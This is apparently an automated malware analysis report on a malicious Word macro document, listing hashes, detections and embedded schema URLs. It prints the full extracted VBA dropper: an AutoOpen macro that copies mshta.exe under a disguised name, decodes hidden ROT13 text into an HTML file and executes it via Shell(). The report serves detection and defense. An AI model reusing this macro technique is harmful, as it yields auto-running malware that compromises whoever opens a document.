Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 519ebf7f9e0d7453…

MALICIOUS

Office (OOXML)

70.5 KB Created: 2020-08-13 09:07:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: bd539174a287680c49712ae9e69fdc3f SHA-1: 71b88907215b33f72213bf6ba1640338b5ef59c9 SHA-256: 519ebf7f9e0d74537f9e775324b427a35b7807390c705b8bb2f3c53b3e5df58a
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing a VBA macro with an AutoOpen subroutine. This subroutine calls the Shell function with a constructed command string, indicating an attempt to execute an external process. The macro also constructs paths for 'c:\users\public\calc.com' and 'c:\users\public\in.html', suggesting it may download and save a payload to these locations. The presence of the Shell() call and the AutoOpen macro strongly suggests a downloader or dropper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2318 bytes
SHA-256: fa706681865108ea860d91ad77b737478f9c5769e94bb9c7fc9d6892d4f38255
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aNEm5"
Function al7zhX()
al7zhX = frm.txt.text
End Function
Public Function aioZQ5(agNO5, aervjy)
aioZQ5 = a7fi9(agNO5, aervjy)
End Function
Sub AutoOpen()
main
End Sub
Public Sub aOhHpA(aHKJvj)
akGXi = Shell(aHKJvj, vbNormalFocus)
End Sub

Attribute VB_Name = "aeCpyB"
Public Const ajuKHV As String = "c&:&\&w&i&n&d&o&w&s&\&s&y&s&t&e&m&3&2&\&m&s&h&t&a&.&e&x&e&"
Public Const a6tpwc As String = "C&:&\&u&s&e&r&s&\&p&u&b&l&i&c&\&c&a&l&c&.&c&o&m&"
Public Const a98Oa As String = "C&:&\&u&s&e&r&s&\&p&u&b&l&i&c&\&i&n&.&h&t&m&l&"
Public Const acHjv As String = "&"
Public Const ajD42e As String = "&"
Public Const aQSD3n As String = "&"
Public Function aVRHbx(alWcC, aStQkv)
FileNumber = FreeFile
Open alWcC For Output As #FileNumber
Print #FileNumber, Spc(37 + 72)
Print #FileNumber, aStQkv
Print #FileNumber, Spc(37 + 72)
Close #FileNumber
End Function
Function a7fi9(aORJDH, adOJsM)
a7fi9 = Replace(aORJDH, adOJsM, "")
End Function
Sub azHWh(au3C8O, aEcbQN)
FileCopy au3C8O, aEcbQN
End Sub
Function auyhP(Test$) As String
  Dim tt As Long, x As Integer, y As Integer
  For tt = 1 To Len(Test$)
    y% = 0
    x% = Asc(Mid$(Test$, tt, 1))
    If (x% > 64 And x% < 91) Or (x% > 96 And x% < 123) Then
      y% = 13
      x% = x% - y%
      If x% < 97 And x% > 83 Then x% = x% + 26 Else If x% < 65 Then x% = x% + 26
    End If
    Mid$(Test$, tt, 1) = Chr$(x%)
  Next tt
  auyhP = Test$
End Function

Attribute VB_Name = "aOTI0"
Sub main()
aTFN8 = aioZQ5(ajuKHV, acHjv)
ai81q = aioZQ5(a6tpwc, ajD42e)
aWwoS = aioZQ5(a98Oa, aQSD3n)
azHWh aTFN8, ai81q
Call aVRHbx(aWwoS, auyhP(al7zhX))
aOhHpA (ai81q & " " & aWwoS)
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{2E3D1464-16C0-42BE-9A7E-92D37CB72F3B}{799D10FE-245E-417B-9514-2ED85B78C1C8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 49152 bytes
SHA-256: d7ad8bb84fa811f4ede7c1459b079ae33564ab3821f47977c06b05f8ebdfc319
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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